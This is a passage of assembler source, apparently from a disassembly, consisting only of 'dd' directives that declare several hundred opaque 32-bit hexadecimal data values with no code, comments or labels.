		dd 0AD39A131h, 0B432E82h, 71D9F0D8h, 5BA3925h, 0B99AB6F8h
		dd 7CBC09B2h, 29E4FCDAh, 7582D484h, 2AA1ABF4h, 2A433CF3h
		dd 907AED3Fh, 0E205E0DEh, 0EE2FA79Eh, 0FF95265Ah, 7A23CEDFh
		dd 69FEE37h, 9A9499E3h,	92FBC2D3h, 42BCB893h, 0CCE4B54Ah
		dd 957A780Dh, 9B85A24Fh, 0C8AD5A36h, 0D520778Ah, 1F9D01CFh
		dd 499BBFABh, 0C6961F11h, 714EFEFFh, 2AE21BB1h,	226BC61Fh
		dd 4C454CBh, 0A24004ABh, 58F5F6ABh, 0CA9902CFh,	40B7A1CBh
		dd 6FF93E75h, 0DCAE018h, 0A8302D08h, 684D2AB1h,	355D6F90h
		dd 0C95945B9h, 686EBE88h, 68DF991Ah, 0C55DDE5Bh, 554545EAh
		dd 0A1BF7BCFh, 4EBAF3C5h, 0F087926Fh, 9FBD3AEFh, 1DE1ACAh
		dd 0B85AF9B7h, 5DBD052Ch, 0A9A47CA6h, 63D3F00Ah, 69A95D23h
		dd 4DF2FE37h, 0F4D37A38h, 0EA6B469Bh, 0CDFD7D03h, 6D1F3C85h
		dd 0C9E91E2Ch, 6A8F9D13h, 0CE59FFF6h, 0EA4B479Ah, 0B12C7DBDh
		dd 0C5095874h, 6FE131D9h, 6D1F4301h, 2CE1E08Ch,	0A6ED5EA7h
		dd 0E5B9C1EFh, 86A57D2Ah, 9EE57A95h, 841C5694h,	0E8D5353Bh
		dd 159C662Dh, 84FBD8A0h, 7F7307E5h, 4197CC9Bh, 44ABA111h
		dd 55D6B88Eh, 4E6869FDh, 49A5CFECh, 2994F3D9h, 4C1D050Ch
		dd 70A768B0h, 0F8C373DAh
		dd 0DA777213h, 44C5DB7Ah, 0B7F3E9C5h, 0C4106652h, 46F7AB31h
		dd 66AE129Dh, 0D491123Fh, 57D8EE83h, 9E35AAABh,	0CCCD5C11h
		dd 0C5D112CDh, 0EA00B27Bh, 6E8F5D4Dh, 84C990DEh, 0BAF63C2Fh
		dd 0B9AF1141h, 0E8E0B9A5h, 0F8E90FDh, 5660ADC9h, 32D6831h
		dd 1C033854h, 225456D1h, 23814C21h, 7A8DE8F7h, 0D109FB71h
		dd 0F5140362h, 1C629D39h, 0BA7130Bh, 810937E8h,	27015312h
		dd 0BD6CFB8Bh, 2A8AD689h, 0EE269913h, 0D4C684F3h, 0E89FCCCCh
		dd 8AEE9831h, 0A80FED43h, 867BC32Ch, 0CB371E91h, 6D73D0AFh
		dd 0D72440DDh, 7F74835Dh, 2460139Ah, 0A506171Eh, 326A31h
		dd 8DFC0BDCh, 0D3A8CF09h, 0F1CA4A91h, 0A6262A9Ah, 0C7CFA895h
		dd 0AC238911h, 0E6796AE1h, 41E07000h, 595A522Bh, 0F526873Dh
		dd 0F5DE9B70h, 311AE6F7h, 89F8E0E5h, 0CCDC2410h, 0CE3CD5F9h
		dd 14E05035h, 0A043C501h, 94A7AEC4h, 0C692B005h, 0F9D8E383h
		dd 500F735h, 7AD2E695h,	424F944Eh, 8C2635A9h, 73DC061Eh
		dd 0B82D2BDCh, 500567Ah, 0AD53C248h, 6FDCF0A4h,	0CC057B3Ch
		dd 0FED76356h, 0A14C6C57h, 823290A4h, 3699A051h, 3EFA9438h
		dd 0CF61AB5Bh, 8AA5E5A4h, 0B3EEAD25h, 0E0EC70C8h, 0ED7DB061h
		dd 5C722707h, 94AAC8D4h, 0A7185636h, 41F28C21h,	0BA701FE1h
		dd 69F3B2A4h, 0F7E62EE7h, 5ECEAA37h, 0FDB71201h, 57BE8F3h
		dd 51A462A5h, 8254C734h, 0E1F99AAFh, 6BEEE3A2h,	0FDBAAB2Ah
		dd 77BA3E8Ah, 77ABFDC1h, 91B4994Fh, 0D1B48A2Eh,	0F1BAE8CEh
		dd 0E3353C92h, 6142C55Ah, 1626A645h, 0C90B3897h, 0F3793742h
		dd 63E2E835h, 0BB23C4EAh, 0C6EB6C78h, 9F35372Ah, 0CE5D66D5h
		dd 6B48AEC1h, 0AE0E1CEDh, 545565B1h, 5B4A4263h,	214694DAh
		dd 30D8DC82h, 0B2585F04h, 78BC6A1Ch, 6E1AFFB9h,	0E43958B7h
		dd 3E05F476h, 0A6430833h, 6D192F7Fh, 61184358h,	5BB99CAFh
		dd 0F21D411Ah, 0DE22FFF3h, 0CDA2757Ah, 3E41756Ah, 0F5961A6h
		dd 0C7292FA6h, 2564EC55h, 0EEDDE045h, 0E61ABE21h, 0ADAE984Dh
		dd 884BFB56h, 180A27A8h, 5446ED1Ch, 0B6BAEC67h,	5CF4707Bh
		dd 0E988C5DCh, 4CBC99BCh, 793D9052h, 0B3E88EF1h, 0C419839Eh
		dd 6917D824h, 0F7357F23h, 25A85495h, 0CDA277B1h, 414177A1h
		dd 0BC609BA4h, 0FE1CB4CCh, 0B666FDB3h, 0F843A2B3h, 94E1420Ch
		dd 0E66D304Ah, 4039DD7Ch, 1A71BF78h, 62E21681h,	0CA5A302Fh
		dd 0EEA93841h, 372E29E4h, 9796A2D3h, 90C2AFB5h,	0A1DAE0E7h
		dd 0F9C0E715h, 0FA25078Ch, 492D1C30h, 5B27E90Ch, 5EDCC571h
		dd 347AF649h, 95421871h, 0AE21D19h, 4B5801ADh, 6A744CC0h
		dd 72268BA6h, 445D678Fh, 0ADE09E1Eh, 63398BA9h,	0C2061C24h
		dd 2C5FE075h, 0EB5BDF50h, 6CEF2558h, 0BC4EA4B3h, 0AEFD917h
		dd 9EE3EDBh, 8C27A471h,	0FD16FAE2h, 40FE50Bh, 0A8200F7Ah
		dd 0FD90E415h, 0CCE10628h, 50E07835h, 509F171h,	9277D674h
		dd 0C26A1077h, 0DE4E8B54h, 0FD09337Eh, 65A194E9h, 5B600F16h
		dd 8317BE13h, 0C4FB18FAh, 0E2DC8ADEh, 0F322CE11h, 0C4D4ED29h
		dd 854BE495h, 2CDF9867h, 4590B54Dh, 41B97A15h, 0FD83AADEh
		dd 0FA1E9FB3h, 3DE09B1Dh, 3B21BF96h, 54E6DF76h,	2C536C19h
		dd 25499F55h, 5DC9E91Fh, 2FADED22h, 45215889h, 58261B0Ah
		dd 63A8A30Ch, 806CB1B7h, 35CD1FACh, 1EB8DA00h, 0A6FD1B0Dh
		dd 10CF4FE9h, 57571078h, 0C170CE1Eh, 31528AF5h,	4DC3B7A0h
		dd 0C2B48652h, 411B3A42h, 4D5F32F9h, 160E38E8h,	7656B345h
		dd 0BC9042F9h, 0DA30E38Eh, 1A23123Fh, 0D82A31Fh, 4D351927h
		dd 6622E336h, 7F397F48h, 6B5B3288h, 2E18ADA5h, 0FF09E179h
		dd 0C1A54120h, 0DD988B44h, 0BB1F92C5h, 2D7AC1D2h, 0A02AB919h
		dd 0F9BCC0C9h, 2854E6CEh, 61B1F148h, 7A1DD10Eh,	865C1A90h
		dd 0F2BACB02h, 0BCB6EC52h, 762F6115h, 0AE37FC73h, 4BFBDF1Dh
		dd 1180FBCDh, 9DB05B75h, 4D02820Dh, 93D164F8h, 93AAFEC3h
		dd 0CFD8EDCBh, 5A285D73h, 2436D509h, 5DAAEDCAh,	0DBE28B2Dh
		dd 77992058h, 664B39A9h, 0C4F41DBBh, 39894A12h,	0BD69E276h
		dd 0E21A28C1h, 25910BB8h, 83ECA0E5h, 6EEAB9DEh,	0E27F2575h
		dd 3A96908h, 21E996AAh,	4D591CCAh, 0B5498D0h, 48BDFF63h
		dd 562D16E4h, 0EA3FA532h, 0FACB9E95h, 6DE43BF5h, 2E39F316h
		dd 0B83DDF28h, 0FA1BADEDh, 185170Ch, 71D22B8Ah,	0D2AAD990h
		dd 0E279E002h, 45441489h, 0F5D9591Bh, 0F93F40E9h, 0CC593124h
		dd 89DC6595h, 363B9D99h, 0A5FF970Ch, 80A79115h,	24791D11h
		dd 0C79FCE8Eh, 8A4E8045h, 21C92423h, 7DC2F1C1h,	0CFDE00EBh
		dd 5279E74Ch, 0C2D87291h, 0FDC103DFh, 36B60A8Ch, 0C7FF6BA8h
		dd 0BA1D3C95h, 0D51EC435h, 58229BCBh, 16E1C895h, 0CDDDC715h
		dd 0F1A21F15h, 0C021AFAFh, 9DA8F017h, 8E7F98CFh, 0E17F487Fh
		dd 0ED7EFD0Eh, 38109CF8h, 0E1D5295h, 0CA1E1A35h, 86229B47h
		dd 7CE04495h, 0C5DC7315h, 85A2986Fh, 4BD91C36h,	93CEF017h
		dd 8995984Fh, 2B5CF8EBh, 942EA91Fh, 8A18FFD2h, 0FA16FEA5h
		dd 0E0303FCFh, 0EA5BC6CFh, 49CFF92Dh, 11DAEECFh, 0C93A1CC9h
		dd 8E4C18C9h, 0C5E4FF97h, 0C4AA7E75h, 3631E667h, 0ECB0251Dh
		dd 0F994EF14h, 66318ECFh, 743F55C9h, 0CC5EFF19h, 0F4B46CCFh
		dd 7FB09B1Dh, 0F558891Ch, 74F8E062h, 0B220E635h, 53C1DF19h
		dd 773191CAh, 0B0941Dh,	0F558821Ch, 74F1E006h, 0BB20E534h
		dd 0F4EBDF19h, 0EBDDDCC8h, 1B10ED3Ah, 351EF82Ch, 0F42EF62Fh
		dd 0C379E412h, 6B15D42Ch, 4DC66083h, 0CDA9AF7Ch, 0F229B6Eh
		dd 0D8E02B95h, 0CDDC5A15h, 1CA2E32Eh, 6321AFAFh, 0CDD3F017h
		dd 0E7F6208h, 474BFF1Dh, 432FE1C5h, 89EBF801h, 1DD93618h
		dd 0CDD74F4Dh, 0F4EA3803h, 20190A0Ch, 4BB80BADh, 0BB4A5F45h
		dd 762DEA75h, 56C4C32Dh, 193339D0h, 0E60718EEh,	0CD7A05CFh
		dd 97E08ADDh, 8A0F993Dh, 9E97FEF5h, 1E2EE31Ch, 7831FBADh
		dd 60321EE7h, 8CE1778Ah, 87437D70h, 4CA080ACh, 3324A898h
		dd 0C5271589h, 5D311029h, 0A33083C9h, 0EB8CDF19h, 58AF8E0h
		dd 8C3DDBFCh, 72034F2Dh, 0E3FDA8Dh, 0F35A2818h,	6ADB081Ch
		dd 30F90C76h, 0DE02EF00h, 0F67B7C1Ch, 9E4634Dh,	51100274h
		dd 9C7C190Fh, 476CF463h, 83E22CAh, 1F99529Ch, 6FCF4269h
		dd 783572C4h, 0F4A4D993h, 0F985728Bh, 5F9AE083h, 0D59B34E9h
		dd 458AF81Ch, 284CE5B2h, 55E61938h, 48116099h, 0AA3CDDE5h
		dd 0FFC0F32Dh, 0F22418A4h, 0D03F630Bh, 576A0D81h, 0DE4E0A5Bh
		dd 4947EDD5h, 2B7E6594h, 487675BCh, 0DD19491Ch,	0D1FE6DD5h
		dd 0D78D6049h, 1DEE45D7h, 0B7B2C6CFh, 792B74DDh, 4C22E5A8h
		dd 5739C45Ch, 9DCEDD1Bh, 2A109AF4h, 8931B334h, 8E2CF8DEh
		dd 912EE5A8h, 7A0F7F2Ch, 4E3BDE16h, 0C0218021h,	0D2901B2Ch
		dd 261FEA86h, 29399CCEh, 9968DD16h, 0FF6382D7h,	9EE75CDCh
		dd 89264834h, 6B31F8B3h, 2EAAE08Ah, 0C7D08F85h,	99B98A2Ch
		dd 742C8499h, 8B266CECh, 0A4E798DBh, 4966E4CDh,	4C2CCBDFh
		dd 0F6E1E637h, 0A2EF013h, 5355C814h, 94FF016h, 4E75C875h
		dd 0E7F2F1Dh, 4D96DE21h, 0C1BC8FBCh, 732F1225h,	0DD501D36h
		dd 6B7FFDC9h, 0F4AF5266h, 0D5C81268h, 1F6ADB96h, 5C790114h
		dd 0D2BAFE89h, 0B370822Eh, 0D7CD310Fh, 8B5A5628h, 0A897B888h
		dd 8DB0DBD2h, 0ED1D30CBh, 61D2BEC7h, 0BCD7FC06h, 0A6595D1Bh
		dd 0EB76DE8Bh, 0FD8AD1E8h, 3445976Eh, 55C41502h, 0AA0922F1h
		dd 0EBEAABFAh, 35D1D44Eh
		dd 0D4528015h, 682198CAh, 0F6112817h, 5CA112Dh,	0D816F869h
		dd 50205AC8h, 91D8D116h, 6A7613C9h, 4A3D3F2Eh, 42002116h
		dd 0FC9DEE03h, 4F8818E1h, 6731ACDDh, 0C326A08Bh, 0E1E29AA9h
		dd 0D6DB682Ch, 8BDB6315h, 30DFD3F1h, 0FED661F5h, 8CF88EEh
		dd 0AE146556h, 0B5A39560h, 0BD9CBF1Ah, 0F666F5A8h, 9410473Bh
		dd 8210C6A1h, 9F01F4DDh, 8BBED4B4h, 2229C4F0h, 0FD31E5CFh
		dd 482C18F9h, 0C33054CFh, 0F4B6DC9Dh, 0C5E59C99h, 0F9D88978h
		dd 0C278EC1Bh, 369ECCC2h, 0F47EA08Bh, 81E29A59h, 85DB581Bh
		dd 4F94E5E9h, 1B304CDDh, 4C628B8Bh, 747AE4B5h, 1E257416h
		dd 4DA0DD89h, 0C7D68F8Ah, 0AF9E802Ch, 0C5DBB5C5h, 0F21C3EDDh
		dd 6BA7D6C9h, 0E7271B89h, 483EEB35h, 0FD3040CFh, 0CB0AE249h
		dd 5F4A188Ah, 0FF4303E4h, 3ED93ECEh, 0F52324FCh, 9D8B5C4Ch
		dd 762299B6h, 8B356B6Fh, 0A4D39897h, 0AD31E2F9h, 0BB0AB249h
		dd 341AE08Ah, 0E41FF4C0h, 0F1C1F995h, 921F013h,	3A27DD0Bh
		dd 5857DC03h, 8D561D2Eh, 79057F7Dh, 0CE21E568h,	1D68FF00h
		dd 0E163FECFh, 943A0045h, 6E7632DAh, 0A3DDA7F8h, 0EE80455h
		dd 8A5C7045h, 30CC3F09h, 0FB85CE80h, 0AE8C53h, 0B9ECF215h
		dd 893C60BDh, 0F450D455h, 0A7638CADh, 9D5BC551h, 971A6171h
		dd 0FF1A1009h, 79D299DBh, 0D921FECDh, 0A5890F61h, 0FF74E9CFh
		dd 0C65E988Fh, 0C5CCC353h, 3DC0F91Bh, 0F04CCECEh, 0B5D7E5B1h
		dd 5515EECBh, 95BD62B0h, 0E60D7CCDh, 46D31EE9h,	8F13638h
		dd 85CF8F65h, 14053450h, 89CAF67Ah, 8FDE88FBh, 0D5BF3BC2h
		dd 8C968E2Eh, 0C4D3621Ch, 94085135h, 0F6274D0Bh, 0BFFEC0E3h
		dd 879F453Eh, 0F45F9F1Eh, 0C534355Bh, 0D413A033h, 642A4B2Dh
		dd 85A9E29Dh, 0BF54F50Bh, 0D81698FFh, 9DB180C9h, 0A060E683h
		dd 0FE3A1A0Dh, 8207AAC9h, 0D8DAEDC8h, 0A390357h, 5BB2F016h
		dd 78D9451Dh, 43A1EAF5h, 89794919h, 75ACEF2Fh, 0E1F4A07Bh
		dd 285EDD3Dh, 74C136DFh, 6B2013ADh, 75DA188Fh, 48C0C116h
		dd 0F370FB9Dh, 1E23DD21h, 7EE3B0DDh, 0D60D8788h, 0FCBE361Dh
		dd 1E3F2067h, 0BE139CBDh, 0F502DE32h, 0EBB15CB6h, 0C33AEF75h
		dd 57DD9859h, 8B510AFCh, 75C4F015h, 93FCA005h, 205DDD2Dh
		dd 60A137D4h, 15CF6C48h, 43C1D61Dh, 0E622E581h,	0E91EBC55h
		dd 0C5DBF6C5h, 0F25D3F12h, 0A9C1082Ch, 0AD8ADB73h, 3FCC8915h
		dd 0FA5A908Ah, 97966B07h, 0E349AD1Ch, 0CD53E5BDh, 2109AA8h
		dd 71A1772Ch, 49FD6195h, 29FEA92Ah, 0E229882Fh,	0FCC4A3CFh
		dd 0AB27DEE1h, 0BE5A8D24h, 0E1C6A08Bh, 8A109AD0h, 19AEDF2Ch
		dd 0ED0BFF1Bh, 0F08A2845h, 7E347B42h, 0A75177D4h, 0DF63BEC1h
		dd 27D2BE1Fh, 7C7CBE49h, 38353315h, 0C832BF97h,	0F26AB31Ch
		dd 0F18360A4h, 15989AABh, 7FFDD0A3h, 9CA4193Fh,	0D8AEF8Bh
		dd 9F24A0CFh, 85B110ABh, 879AAA9Ch, 0CF21E8A9h,	926A2B1Ah
		dd 0B632D10Dh, 0DF8CDE89h, 2624A98Dh, 43E21B34h, 8EF28203h
		dd 8F29667Bh, 2F9E9873h, 0C552A938h, 85B06045h,	0E76FE6EBh
		dd 2C6A1D0Dh, 0D099945Ah, 543A1B6Fh, 0C2A982A5h, 0FE2F8FC0h
		dd 0D082AB16h, 552784D9h, 9DAE9C7Bh, 4E249498h,	0EDC4DCBFh
		dd 0B6109C6Dh, 8E51E289h, 0CE16AFDFh, 0AC229BC9h, 7DE1CA95h
		dd 0C5DDF915h, 8528984Bh, 49261879h, 4E50FF15h,	857E8503h
		dd 942D012Fh, 8970FF83h, 0F96EFEB1h, 0C32F36CFh, 2935B9FAh
		dd 1D5AFEF0h, 6D354FC4h, 0EAB1D993h, 0DA06FA4h,	5BD03C94h
		dd 0F1C1D784h, 0B51A62F4h, 84A1A82Eh, 947EA755h, 1E30D7FFh
		dd 0F5BDDC7Dh, 9EB42B4Ch, 537A205Dh, 25B90346h,	0C2C54E34h
		dd 6DEB00B5h, 7342A116h, 0EDF086D3h, 0BDA6EF89h, 8BDD4F13h
		dd 89729883h, 25E6C7FDh, 942344EFh, 86EEFFC1h, 851C991Dh
		dd 490A18A5h, 0E3D95B1Dh, 0F2590CDCh, 7842C788h, 85DAE313h
		dd 57B0E0D3h, 47F80F1Dh, 2A3F44CFh, 0CCE1491Fh,	39C3AEC9h
		dd 0DCAF4C33h, 0A2A7FE66h, 4C730D1Dh, 4A27AF8Dh, 0E4CDEE62h
		dd 0FCF8EE61h, 0B731DF39h, 0F81F4D24h, 8BB6F7D9h, 2A29D831h
		dd 8BDCD315h, 7A0FFFE9h, 0EE31F029h, 4575EC95h,	0C31D2720h
		dd 0E998EF1Dh, 0E5BE13Ah, 0AC3AA199h, 0EF7634CFh, 4321E97Ch
		dd 865C9088h, 0C16E6F75h, 0C79FA836h, 87699E1Dh, 0C15DF11h
		dd 0F24BF99Bh, 59AEB52Eh, 0BCBFC6F2h, 7E00D4DDh, 8EBEE5B4h
		dd 9FD891Bh, 8DD09717h,	0EB37FEE4h, 0EF5D6D19h,	0F400B637h
		dd 85ED31D9h, 8DB02D16h, 74C6E4C8h, 0BA26D6E3h,	0C203E5ACh
		dd 0EA1F9C51h, 0FD21752Ch, 0C0213F62h, 0C510C457h, 84A7D30Eh
		dd 0AC4904FCh, 0F81A8A9Bh, 0F5260418h, 0D70E041h, 9B6BDC91h
		dd 0C166EF71h, 1474DD21h, 0F4D6DE8Bh, 4DE560BBh, 0CD9EBBB6h
		dd 0D9FC70E5h, 0A8ADE615h, 4C311861h, 0C35944E8h, 3726BE82h
		dd 0A2008D29h, 73E12D1Eh, 0B021752Ch, 0C52CD457h, 0CD8AE7DEh
		dd 32AD7E17h, 4334B65Ch, 3F20526Dh, 0C22AEBFBh,	0BC0CFFA8h
		dd 0EB8BF109h, 0C02CEFD5h, 31FA8248h, 0AA4CEBC7h, 0E3D7E5B1h
		dd 96A3A8CFh, 0BA1A7F80h, 0AD3ADEB9h, 1DDAC97Bh, 16EA7085h
		dd 3761545Dh, 0B5DD109Dh, 0DD711E1Dh, 2115E5EAh, 0A57F214Fh
		dd 8D7529BEh, 0A7F3DC5Dh, 0AF5298E7h, 34340F93h, 4DCA5CC6h
		dd 57FE1875h, 0A0098AFFh, 9652B910h, 0C11EF8FCh, 0A663A173h
		dd 0AF14EDFDh, 9AD8CBAFh, 0E33B4EC6h, 0F23F18A4h, 0C53E7C26h
		dd 2059591Dh, 0AF495D1Ch, 0FD4A0431h, 4CE90F68h, 7CE90F60h
		dd 62594758h, 1E20236Ch, 0B8A9D8B5h, 5C58590h, 0FBD2624Bh
		dd 1E8ADB96h, 0AFCA9D35h, 0C02B18DFh, 0B564FC41h, 7EE4A97Bh
		dd 1E3ADB2Fh, 10CF8Dh, 0CF51275Eh, 181DE925h, 3F5AA780h
		dd 0C5477A13h, 0F4E6F0Eh, 28FC0918h, 47200092h,	43FCEC75h
		dd 3DFEE86Dh, 0CD7948C8h, 9683B0DBh, 0AABA193Dh, 708DCE6Ah
		dd 3CF2E5EEh, 0A236BC2Ah, 60A0779Dh, 7C23D915h,	5540741Fh
		dd 85EAAED9h, 3E9F7FA0h, 3B30EAE9h, 0C4A2DEEAh,	0E378234Fh
		dd 33C01129h, 3D8AFF0Bh, 0E0A4CC89h, 2768C0BEh,	0C5894221h
		dd 0CCCFFCh, 957CD12Fh,	963022CFh, 0F196AB1Dh, 0AE273819h
		dd 6FE2BCEDh, 0E021812Fh, 4030B0D2h, 0FB798645h, 5A267C8Eh
		dd 0CE39892Fh, 0B80AC2D8h, 0B65D0C4Fh, 8FF0BCD3h, 344511A4h
		dd 2D56D8A7h, 19CD6ADh,	0F761A044h, 0C53AB6CCh,	87657B1Ch
		dd 0AA549B5Dh, 0C4F9106Bh, 8591690Dh, 869C7775h, 0D5795DE4h
		dd 0BD8AF9A5h, 0C3C7D5ACh, 0A990D05Dh, 82285274h, 0CE20833Ch
		dd 0EE513F39h, 68337915h, 0BDB4EC2Eh, 951E012Dh, 85B14919h
		dd 1C40F62Ch, 0E858857Dh, 0C33F8324h, 0A022C31Bh, 8B4A9893h
		dd 0C56B2560h, 0EEC37E5Bh, 0EFDDED3Fh, 0CE2218D4h, 0C1B4190Dh
		dd 1E26EB1Ch, 77D3EEC5h, 0D4EA190h, 0AAFF0289h,	37FE5C6Bh
		dd 96CBD49h, 0C16797FCh, 0BAE67F8Dh, 64A12127h,	0A63ABEA3h
		dd 0E1756DAEh, 0E5260995h, 58AE980h, 0F95DA2CFh, 0B01FD12Dh
		dd 24EB58CDh, 0E6B2A325h, 3FDAEE25h, 4616F57h, 0BE32DF33h
		dd 9234B1Ch, 0D5B5BF13h, 0C4DAF90Fh, 2610E593h,	41F0031Ch
		dd 858AEF6Bh, 48C4F04Dh, 2D970B6h, 2792B7ECh, 498D961Bh
		dd 0C15CF8Dh, 47C8709Eh, 0FA0AF9CCh, 75B5EB1Fh,	0F5328299h
		dd 0C4CE7F5h, 805820A0h, 52E2EAECh, 9DB49BCEh, 0CE05BB6Ch
		dd 191D68CCh, 0FAF8B437h, 0D58CB013h, 0D60ECEC8h, 1A597FEDh
		dd 8E5934AFh, 0CE1E1045h, 25516041h, 4E52BA36h,	8A2D3095h
		dd 75A2C554h, 6F1071Ch
		dd 0AB9EBBC3h, 0B721AE6Bh, 0AEBBED0Ch, 0F31B5D13h, 5BC71CC9h
		dd 0AC98ED43h, 4E36A8C5h, 0EBA4BDCDh, 3E3FF434h, 0F7C398F1h
		dd 34F2B295h, 0D55901E0h, 8F36BF6Dh, 8F120EC9h,	0CDC2FFF5h
		dd 487EBBB1h, 0F1C2C72Ch, 644FDCAFh, 1701ACB1h,	0AF84F379h
		dd 0DC32EE21h, 9DB1AB14h, 0B8248E35h, 3B3AAC79h, 9D41AB13h
		dd 0F0571C25h, 8BA4B2BDh, 882AC59Eh, 0C5232419h, 7475858Ah
		dd 2EC59B15h, 32DA993Ch, 0F41F3CE9h, 0E0ED40DAh, 0B6C39800h
		dd 0C010A093h, 0BF229BECh, 0A1E1AD95h, 1DDADC15h, 7D2DA7CDh
		dd 869A241Dh, 0C3B030F3h, 972FEE2h, 0EFAB069h, 0E9DEBBCBh
		dd 8FC5B8F4h, 0B4F29CEAh, 0AC1B08F5h, 0ACF49289h, 0C528B04Ch
		dd 1B1BAE2h, 8C21F6EEh,	0A3607FF3h, 0A964E027h,	0ADFFBCAAh
		dd 49FBDB19h, 5FA861Ch,	9DDEB4CBh, 8FBBB8E9h, 0A2BC9CF4h
		dd 0B41B15F5h, 0ADF88989h, 70F5DA92h, 5AA3DA02h, 0D9FC7D5Ch
		dd 8A2CA0C9h, 28C35B70h, 0AB793095h, 0FEF10BE7h, 93C98E29h
		dd 0A87400A4h, 0FD2D416h, 6A618E92h, 0BFF90CE9h, 8E13F600h
		dd 51761CBh, 0AD4EC4AEh, 97371423h, 96B5DB1Dh, 0A94E9CCBh
		dd 0F3543AF5h, 471B28C2h, 11BE2F57h, 0D084B879h, 8FB2D227h
		dd 6A606E92h, 5FF90C89h, 0AE13F600h, 4F761CBh, 0AD4EA4AEh
		dd 973713C3h, 0EBA3DB3Dh, 0DA2D7D5Ch, 0F3551AF5h, 6AFE091Ch
		dd 31F90C77h, 13F600h, 49161CBh, 0AD4D4EAEh, 973713A9h
		dd 4DA3DA9Bh, 0D9D77D5Ch, 0F35584F5h, 6AE9761Ch, 56F90C90h
		dd 0A513F600h, 4FE61CBh, 0AD4EABAEh, 973713CAh,	0E2A3DAC4h
		dd 0DA347D5Ch, 0F355E1F5h, 4A1C1FC2h, 28FAA97Eh, 3F13F600h
		dd 49861CBh, 0AD4D55AEh, 46FADB18h, 0DCB0200Ah,	2313F6EAh
		dd 0FF3160C9h, 1424FDC9h, 862F0580h, 0E5C91DCFh, 9CEB63CFh
		dd 0BDDF03CAh, 5E4C8C16h, 8C614895h, 0D413E524h, 352166D7h
		dd 9127AAD5h, 50725EC0h, 0E2A16162h, 1222E329h,	23E1EA95h
		dd 1DDA1915h, 3728BF25h, 1576509Eh, 5AD2707h, 0B86D1E57h
		dd 0C010CAC4h, 0AA10EC4Ah, 441D482Ch, 1E3F462Fh, 9FF59CFDh
		dd 4962DD83h, 0A106AB85h, 0B415E57Ah, 4ED614Bh,	0A8A4DAAFh
		dd 16619D3Dh, 0F4F2DDF2h, 9E245D25h, 0D9D9640Fh, 0D37B2FD9h
		dd 0EA37192Fh, 1D98C5FCh, 4DEAE133h, 0F6280ECEh, 49DA18A5h
		dd 5D80FDCEh, 0CB3F651Eh, 0B9EA9820h, 0E2FA10FCh, 3DDC391Dh
		dd 6DD11743h, 0F0017C35h, 0AE413820h, 0C960491Fh, 0F231491Dh
		dd 0B7A26D55h, 9452D442h, 0BA645CD8h, 14145056h, 0A48A214Fh
		dd 8FE5B935h, 86393CCFh, 75EFAE95h, 1AC29352h, 0A9F934FFh
		dd 46A2FA00h, 15F92DDBh, 65C27FD5h, 10E52E15h, 0F920514Dh
		dd 0DA5A7DDEh, 841B17F5h, 5D600592h, 8BCCF3C9h,	8B891440h
		dd 0A58421DFh, 0AD757EBEh, 0EE371399h, 8610BB8Bh, 8860E02Eh
		dd 29E0E10Dh, 4110B135h, 0EF80CC9Ch, 6559711Ch,	0DD8954CFh
		dd 85F5AFF2h, 0F5997DA2h, 0F63028E9h, 0F0FFEF23h, 85D9489Dh
		dd 0F417DDC9h, 859162A5h, 49D2C590h, 1596E92Bh,	0E5FAAE5Bh
		dd 25CEB392h, 0AD76AEBEh, 42187DC9h, 9396222Ch,	81D97066h
		dd 0E599F5C9h, 6B21F14Ch, 0F4B2B146h, 854AE771h, 705935FEh
		dd 0CC02BB46h, 0BFEB8936h, 0FDC9FB94h, 0BB1B9CF5h, 60017C9Fh
		dd 74AAAEC9h, 8BF3CB20h, 0D0E55EE7h, 0C4EF662Fh, 5627DEF9h
		dd 4899492Fh, 0A6071933h, 0DE72A6EFh, 0E7E9422Fh, 2ADAF115h
		dd 465D3647h, 35191341h, 0F42EAF3Dh, 8439F98Ah,	0B533A06Ah
		dd 6F15703Dh, 5C0B323h,	7972AB2Ah, 4831FFFDh, 30111EE7h
		dd 8E2A8ADCh, 849928F5h, 41939793h, 75D84985h, 0DDDD215h
		dd 81A48FDDh, 0CDBC9B3Ch, 583F92CAh, 1B69829Dh,	23DEEBEBh
		dd 1C44A009h, 0B3D0B5F7h, 8517FE03h, 0E878FD1Ch, 0BA27D93Dh
		dd 0A200FBC9h, 9226F71Ch, 0B723AC89h, 85B60089h, 4A26EDDEh
		dd 0C284A07Fh, 98A60FC9h, 2D860088h, 8189C20Dh,	3E299F7Fh
		dd 131FCD7h, 19FA8369h,	0C2B9EC8Ah, 0E6AB72AFh,	48DAD2CBh
		dd 0E9E796FCh, 0B51EF72Eh, 4DDBAAC5h, 90C8487Bh, 0C300F813h
		dd 0E706F9C8h, 95789A4Ah, 99E5FFD4h, 0F586F7ACh, 86849C03h
		dd 0A790EBFFh, 0A538E63Ch, 9727E90Eh, 0C44B1D45h, 0F92FFED5h
		dd 1D410441h, 0C6117BF3h, 0F1E93EEEh, 49A21870h, 5D8A2C2Ch
		dd 52A4B3DAh, 433FDF1Ch, 0C2C4992Bh, 0C08ED54Ah, 0CB4CA135h
		dd 1FDF288h, 3D85A27Ah,	69D3DE89h, 8B4BB0F5h, 879E5CE1h
		dd 0C24A4931h, 69F43C0h, 7E8080AFh, 4D3FC11Dh, 11AEF622h
		dd 9943791Ch, 0C300B7F6h, 0CD92F7EDh, 3E109AD8h, 8931A734h
		dd 9A27F8C2h, 75D94895h, 4E8B54EEh, 0FB52B756h,	5E513AD3h
		dd 0D033B8BEh, 9F72A12Fh, 0F2C79B8Bh, 0E63F7C0Dh, 59775Bh
		dd 0DDB5B21h, 0F61F528Dh, 0E71CFD29h, 70784909h, 9CACBEDEh
		dd 6FDCF493h, 0A8D4DE15h, 0C60F7DDDh, 0A85977F3h, 8EA4B321h
		dd 5DE4C7DBh, 0A5DADA9Dh, 0AE8C22CFh, 148AAF5Eh, 77F06128h
		dd 2FA15EB8h, 0C4E5162Fh, 2627DEA9h, 29595524h,	0F4CEDE8Bh
		dd 2F5E9867h, 0B474219Dh, 39675D1Dh, 0D89E12Ch,	9B84DD39h
		dd 6B2C9C71h, 7E21F53Fh, 94F1491Ch, 0AA8DF083h,	6CFF578Ch
		dd 261DB335h, 555160A1h, 305930CFh, 49914CDEh, 93191561h
		dd 0C3595CE8h, 0BA8EBD3Dh, 0FDDEA744h, 1986DD2Bh, 1762E052h
		dd 0BEF6032Fh, 0ED595129h, 0DA390E8Eh, 827718D8h, 0ACD60FD2h
		dd 0AA5AE95Dh, 19EA1836h, 44640E8h, 8287E5E5h, 6AAEDB64h
